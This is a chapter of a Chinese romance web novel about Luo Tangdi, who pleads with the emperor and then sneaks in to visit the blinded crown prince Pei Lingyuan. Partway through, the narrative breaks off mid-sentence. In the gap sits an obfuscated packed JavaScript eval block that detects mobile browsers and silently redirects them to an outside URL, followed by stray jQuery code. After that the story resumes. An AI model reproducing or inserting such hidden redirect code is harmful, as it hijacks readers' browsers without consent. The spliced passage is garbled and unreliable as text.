罗棠棣身份特殊,自幼常常出入宫闱,有特赐的通行符。太后虽然忽然下了懿旨,让罗家送罗棠棣去往东阳,却并未收回通行符。
她行事虽然离谱大胆,倒实打实钻了个空子。
宫使将消息带到崇化殿时,罗棠棣已然大摇大摆地入了宫闱,正等着陛下下朝召见。
此日的朝会格外久。
罗棠棣侯了许久,觉得困倦,又觉得亢奋。她一整夜都没有合眼,一直提心吊胆,到了此刻反倒好像绷紧了琴弦骤然松了下来。
有些无所适从。
眼眶干涩生疼,她伸手捂住眼睛。
“现下知道哭了?”皇帝疲倦的语调有些冷,视线落在她身上,出声呵斥道,“抗旨便罢,还敢擅自入宫来堵朕!哭也没用!”
罗棠棣收回手,默不作声跪下。
脸上倒没哭。
皇帝瞧着她,不由轻咳了声。
“陛下,若是我哭一哭的话,您会心疼吗?”罗棠棣仰起脸,认真看着皇帝问。
皇帝:“……”
听听,这像是人话吗?
大约是等了会儿,也等不到皇帝的回答,少女蓦地红了眼圈。
眉间蹙起,乌黑浓密的眼睫被打湿,明眸浮起雾气。顷刻间,罗棠棣的泪水便像是断了线的珠子,没入柔软华贵的地衣。
她哭得好似要晕过去一般。
若是皇帝没瞧见过她往日干嚎的模样,眼下倒真要信了。
“朕今日事忙。”皇帝冷眼瞧着她哭,不耐烦似的翻开公文,当真不理她了,“东阳郡主哭成这样,必然说不出来话。来人,先将她拖下去。”
“……”
罗棠棣一骨碌站起来,快语连珠:“陛下,我进日进宫是想说,您能不能不要随便把我嫁给东阳的乡巴佬?”
“……什么乡巴佬?”
“东阳那么偏,在那的不是乡巴佬是什么?”罗棠棣理直气壮,她吸了吸鼻子,用袖子抹抹脸,“我若去了东阳,便要嫁在东阳,一辈子都待在那穷乡僻壤了!”
皇帝扶额道:“跪下。”
罗棠棣撇撇嘴,老老实实跪下。
东阳算什么穷乡僻壤……不,真是被罗棠棣带偏了。
皇帝瞧了她片刻,心肠便又冷下来,自顾自道:“忤逆懿旨,还敢来朕这里告母后的状,真是越来越胡闹……去跪上两个时辰,再说知不知错。”
他的语气和往日一般慈爱。
罗棠棣被人往下拖时,才意识到皇帝说了什么。
陛下从来不会如此对她!
“皇伯伯!”罗棠棣挣扎起来,这回是真的想哭,对着人却又哭不出来,急得喉咙发干,“为什么连您都不要我了,我不要去东阳,我不要……”
皇帝狠心不理她。
田内官却轻声道:“小心些,郡主腰上挂着的玉箫,似是……”
皇帝骤然回过头来,看向罗棠棣的腰间。
这是裴毓许多年没见的旧物,方才罗棠棣进来时,他甚至都没留意到。可眼下瞧见了,视线便移不开,清清楚楚地认了出来。
崔皇后生前最擅吹箫。
彼时尚且是淮南王的裴毓则擅吹笙。
两人青梅竹马,又结成少年夫妻,婚后笙箫和鸣,常常登高和鸣……人人都要夸赞一句才子佳人、神仙眷侣,世间少有的恩爱夫妻。
皇帝神情有些恍惚,道:“拿过来。”
田内官小心捧上玉箫。
“是静君的旧物。”皇帝摩挲过玉箫,神情难以分辨,看向罗棠棣,“是太子给你的?”
虽然是问句,话里却没什么疑惑。
罗棠棣也看向那支玉箫,忽然觉得心口像是被堵死了一般难受,不可置信道:“为什么殿下要把它……给我?”
这是他母亲的遗物。
这样重要的东西,殿下应当自己留着,或者是呈给陛下才是。
他给她能做什么?
如果不是不确定,自己这次进了宫,还有没有办法回罗家,她是不可能把玉箫贴身挂着的。不进宫,玉箫当然不会又回到陛下手里。
“收好。”皇帝摆摆手,示意不必罚她了,疲倦道,“你既然持着静君的旧物,纵是天大的过错,朕也只得放你一马……”
后头的话,皇帝没说。
罗棠棣将玉箫挂回腰间,鼻尖发涩。
她纵是再蠢,也意识到,这玉箫是裴灵渊留给她保命用的。
但她是罗棠棣啊,罗契之和梁白璧的女儿,除非是将天捅破了,谁会和她过不去呢?需要这支玉箫的人,分明是殿下自己才是,他真是……
他真是,愚不可及!
真的很讨厌他!
罗棠棣仰起脸,忽然说道:“这可是陛下亲口说的,金口玉言,不得反悔。”
“……?”
皇帝回神,看向罗棠棣。
少女已然低下头去,显得乖巧。
他瞧着罗棠棣,不知道为什么又想起崔静君,沉默片刻,只说:“此时是太后的主意,朕亦不能插手。你既已入宫,还不快去崇化殿认错?”
“不用罚跪啦?”
“……”
不等皇帝说些什么,少女已然火烧尾巴般行礼,飞快地退下。
皇帝看着她的背影,忽然皱眉。
田内官心下一跳,便要跪下告罪,皇帝却只叹息了声,自言自语地说:“脸花成这样,也敢顶着来见朕,真是被骄纵过了头。”
“奴婢追过去与郡主说一声?”
“由着她丢人去吧。”
皇帝轻笑,田内官也不由跟着轻笑了下。
……
罗棠棣其实有点不敢去崇化殿见太后,但这宫里,她真正乐意见的人也就那么几个。除了陛下和裴灵渊,也只有太后,才是真心对她的人。
不去见太后,还能见谁呢?
磨磨蹭蹭到崇化殿时,宫人都不敢理她,只说太后午睡下了。
罗棠棣捡了个位置坐下。
没有糕点,只有一盏冷掉的茶水,罗棠棣全喝了。她这会儿才想起来,从昨夜到今日中午,她一直都没吃没喝,眼下饿得发慌。
一直等到午后,太后仍是不见她。
只有太后身边的何媪过来,说:“女郎今次太过任性,将太后娘娘气狠了,眼下实在起不来。不过女郎也不不必太过自责,娘娘惯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15989085|178000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来心胸开阔,歇歇也就好了。”
罗棠棣小心翼翼问:“姨祖母哪里不舒服?”
“太医看过,并无大碍。”
罗棠棣讷讷:“哦哦。”
何媪这才屏退下人,低声说,“太后娘娘知道女郎为何而来。女郎若实在抗拒,晚些去东阳也无妨,但懿旨已下却是改不得的。”
罗棠棣不说话。
静默了会儿之后,何媪指了指一侧的小内官,低声说:“女郎既已入宫,总不能白跑一趟。至于女郎想见的人能不能见到,也看女郎的运气了。”
言尽于此,何媪行礼后便悄然退下。
出崇化殿时,罗棠棣已经打起精神,跟在了小内官的身后。
这小内官有些眼熟,瞧着像是往日跟着田内官的。因为陛下寿辰的事情,罗棠棣现下有些不喜欢田内官,对这小内官也有些别扭。
而且打探了好几句,什么都打探不出来。
罗棠棣只好闭嘴不说话。
行至东宫,东宫内外一派肃穆,守着数不清的禁卫。
这小内官没有说穿她的身份,只说东宫旧人都被扣押调查,要换个新的侍女进来。罗棠棣不敢说话,心下却想,这等会怎么把她带出来。
……虽然把她留里面再好不过。
流程复杂又严谨,一路层层审查,虽然十分压迫瘆人,但那小内官倒是滴水不漏,没人生疑。
东宫内四处空荡,寂静无声。
罗棠棣跟在内官身后,按捺着心情,终于才能走入裴灵渊的住处。
室外仍有数不清的守卫。
内官推开门,罗棠棣连忙跟着进来,他便又合上了门。
仅有的光线被隔绝,罗棠棣这才注意到,宫室内的窗户也被从外面锁上,重重帘幕因无人打理而低垂散落,四周一丝声音也无。
一眼看去,承乾殿内冷清空荡。
内官径直入内,说道:“陛下听闻殿下没了人侍奉,心中,着奴婢挑了个宫女,送进来照料殿下日常起居。殿下若瞧着顺眼,可以留下。”
宫室晦暗死寂,罗棠棣却一眼瞧见了那道身影。
裴灵渊并未在显眼的位置。
青年坐在漆黑的角落里,仅着燕居单衣,袖袍卷起,肩头披着件半旧的宽阔氅衣。不知他在想些什么,只是略垂着眉眼,身侧是正在缓缓滴水的更漏。
闻言,才转头“看”向两人。
裴灵渊似乎更瘦了一些,搁在膝头的手腕嶙峋见骨,宽阔的肩膀格外清癯。
他面上闪过一丝惊讶,随即有礼道:“父皇挂怀,不胜感念。”
空气又骤然静下来。
罗棠棣迎着青年苍白俊逸的面容,骤然意识到,他什么也看不到了。明明上次见面,在摘星楼上,他看人的眼眸还那样温柔明亮。
他看不见,只能听……
但裴灵渊想把她送去东阳,他不愿意听到她的声音。
罗棠棣骤然有些无措。
她求助般看向内官,内官几乎是愣了一下,才开口道:“殿下,这宫女没怎么调教过规矩,可有什么要问她的?”
裴灵渊这才缓缓道:“好好的,怎么会入宫?”